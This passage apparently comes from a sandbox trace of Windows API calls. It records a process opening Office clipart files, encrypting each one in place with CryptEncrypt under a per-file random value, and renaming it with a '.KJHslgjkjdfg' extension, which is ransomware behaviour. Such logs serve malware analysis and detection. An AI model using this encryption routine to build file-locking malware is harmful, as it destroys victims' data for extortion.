lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.285] SetEndOfFile (hFile=0x130) returned 1 [0193.286] GetProcessHeap () returned 0x2ef0000 [0193.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.286] GetProcessHeap () returned 0x2ef0000 [0193.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.kjhslgjkjdfg")) returned 1 [0193.291] CloseHandle (hObject=0x130) returned 1 [0193.291] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0193.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.292] GetProcessHeap () returned 0x2ef0000 [0193.292] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.292] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.295] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.295] GetProcessHeap () returned 0x2ef0000 [0193.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.295] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.296] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.296] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbb7c, lpOverlapped=0x0) returned 1 [0193.297] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbb80) returned 1 [0193.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.298] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbb80, lpOverlapped=0x0) returned 1 [0193.298] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.299] SetEndOfFile (hFile=0x130) returned 1 [0193.301] GetProcessHeap () returned 0x2ef0000 [0193.302] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.302] GetProcessHeap () returned 0x2ef0000 [0193.302] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.kjhslgjkjdfg")) returned 1 [0193.311] CloseHandle (hObject=0x130) returned 1 [0193.311] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0193.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.312] GetProcessHeap () returned 0x2ef0000 [0193.312] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.312] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.312] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0193.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.315] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.315] GetProcessHeap () returned 0x2ef0000 [0193.315] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.315] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.315] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.315] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.315] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.315] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.315] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.315] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9d0e, lpOverlapped=0x0) returned 1 [0193.320] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d10) returned 1 [0193.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.320] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9d10, lpOverlapped=0x0) returned 1 [0193.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.321] SetEndOfFile (hFile=0x130) returned 1 [0193.322] GetProcessHeap () returned 0x2ef0000 [0193.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.323] GetProcessHeap () returned 0x2ef0000 [0193.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.kjhslgjkjdfg")) returned 1 [0193.331] CloseHandle (hObject=0x130) returned 1 [0193.331] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0193.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.332] GetProcessHeap () returned 0x2ef0000 [0193.332] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.332] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0193.334] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.334] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.334] GetProcessHeap () returned 0x2ef0000 [0193.334] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.334] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.334] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.334] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.334] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.334] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.334] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.335] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.335] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.335] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.335] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbaaa, lpOverlapped=0x0) returned 1 [0193.336] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbab0) returned 1 [0193.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.337] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbab0, lpOverlapped=0x0) returned 1 [0193.337] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.337] SetEndOfFile (hFile=0x130) returned 1 [0193.340] GetProcessHeap () returned 0x2ef0000 [0193.340] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.340] GetProcessHeap () returned 0x2ef0000 [0193.340] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.kjhslgjkjdfg")) returned 1 [0193.343] CloseHandle (hObject=0x130) returned 1 [0193.343] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0193.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.343] GetProcessHeap () returned 0x2ef0000 [0193.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.343] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.344] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.345] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.346] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.346] GetProcessHeap () returned 0x2ef0000 [0193.346] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.346] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.346] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.346] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.346] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.346] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.346] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.346] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x38cc, lpOverlapped=0x0) returned 1 [0193.347] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38d0) returned 1 [0193.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.348] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x38d0, lpOverlapped=0x0) returned 1 [0193.348] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.348] SetEndOfFile (hFile=0x130) returned 1 [0193.349] GetProcessHeap () returned 0x2ef0000 [0193.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.349] GetProcessHeap () returned 0x2ef0000 [0193.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.kjhslgjkjdfg")) returned 1 [0193.355] CloseHandle (hObject=0x130) returned 1 [0193.355] FindNextFileW (in: 